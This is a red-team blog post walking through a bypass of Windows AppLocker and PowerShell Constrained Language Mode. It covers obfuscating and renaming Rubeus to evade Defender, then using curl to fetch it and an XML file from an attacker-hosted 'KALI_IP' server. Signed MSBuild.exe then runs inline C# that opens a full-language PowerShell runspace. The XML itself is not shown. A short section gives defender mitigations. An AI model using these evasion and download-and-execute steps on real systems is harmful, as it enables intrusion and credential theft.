October 28, 2026
How I Made Windows Defender Look Silly: Bypassing AppLocker and CLM Bypass for Fun
Let’s set the scene. You’re on a red team engagement (or in your home lab), you’ve got a shell, and you want to run the holy grail of…

By R4t
3 min read
Let's set the scene. You're on a red team engagement (or in your home lab), you've got a shell, and you want to run the holy grail of Active Directory abuse: Rubeus.
You drop it on the box, hit Enter, and… "Access Denied. This program is blocked by group policy."
Welcome to AppLocker. If you try to use PowerShell to get around it? "Constrained Language Mode restricts this command."
Let's quickly break down what these two things actually are:
- What is AppLocker? Think of it as the ultimate VIP bouncer for Windows. It's a security feature that checks every .exe or script trying to run. If the file isn't signed by Microsoft (or explicitly trusted by the admins), it gets blocked.
- What is CLM (Constrained Language Mode)? Imagine you give a hacker a computer, but you only allow them to type ping and dir. That's CLM. It locks down PowerShell so you can't use advanced hacking commands, load scripts, or interact with the deep internals of Windows.
Windows is basically doing the digital equivalent of crossing its arms and saying, "No, you can't play with that."
But as hackers, we don't take "no" for an answer. We take it as a personal challenge. Let's look at how I bypassed AppLocker, broke out of CLM, and ran Rubeus — all while keeping Windows Defender's Real-Time Protection fully turned ON.
The "Living off the Land" Strategy
If Windows won't let us run our tools, we'll just borrow its tools. This is called Living off the Land (LOLBins).
Our target? MSBuild.exe. MSBuild is a developer tool that Microsoft signs and trusts. It compiles code. AppLocker sees it and says, "Oh, he's a developer, come on in!" What AppLocker doesn't know is that we are going to feed MSBuild an XML file that compiles our malicious C# code on the fly.
Step 1: Sneaking Rubeus Past the Bouncer
First, Defender is going to eat standard Rubeus.exe the second you download it. So, we need to dress it up. We take the original Rubeus binary and run it through an obfuscator. This scrambles the binary's strings, metadata, and internal logic, completely changing its file signature.
We then rename the resulting obfuscated file to something incredibly boring, like update.exe.
Now, Defender looks at update.exe and says, "Seems fine to me!" We host it on our Kali machine via a Python web server, ready for the target to download.
Step 2: The MSBuild Trojan Horse
This is where the magic happens. We create an XML file (run.xml) that abuses MSBuild's .
When we execute MSBuild, it reads our XML, compiles our embedded C# code, and runs it. But here is the secret sauce: The C# code creates a brand new PowerShell Runspace.
Because this new Runspace is spawned via .NET and not the user's restricted terminal, it defaults to Full Language Mode. We just broke out of CLM.
Step 3: Pulling the Trigger
Now we jump onto the Windows victim machine. Open cmd.exe or PowerShell, and let's grab our files:
powershell
curl http://<KALI_IP>:8080/update.exe -o C:\Users\Public\update.exe
curl http://<KALI_IP>:8080/run.xml -o C:\Users\Public\run.xml
Now, we invoke the trusted Microsoft binary:
powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Users\Public\run.xml
Did it work?
MSBuild does a little bit of thinking, compiles the code in memory, and spits out: [+] Rubeus Executed successfully.
Want to verify it actually ran? Just read the file we told it to create:
powershell
type C:\Users\Public\triage.txt
(Note: If you are running this on a standalone VM instead of a Domain Controller, Rubeus will just say "No tickets found" — because, well, there's no domain to steal tickets from. But the fact that the file exists means we completely bypassed AppLocker and CLM!)
How to Fix This (For the Blue Teamers)
If you're defending a network, this attack chain is terrifying because it uses Microsoft's own trusted tools. Here is how to stop it:
- AppLocker/WDAC Rules: If your company doesn't use Visual Studio, block MSBuild.exe.
- Monitor Runspaces: Look for weird processes (like MSBuild or rundll32.exe) loading System.Management.Automation.dll.
- Behavioral Alerts: Keep an eye out for build tools suddenly making outbound HTTP requests to random IP addresses.
The Wrap-Up
AppLocker and CLM are great defenses, but they aren't invincible. By being creative, disguising our payloads, and abusing trusted Microsoft tools, we can execute our tools right under Defender's nose.
Now go forth, stay ethical, and happy hacking!